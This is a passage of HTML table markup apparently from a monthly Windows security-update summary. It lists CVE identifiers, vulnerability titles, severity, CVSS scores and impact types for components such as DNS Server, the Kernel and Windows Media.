  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
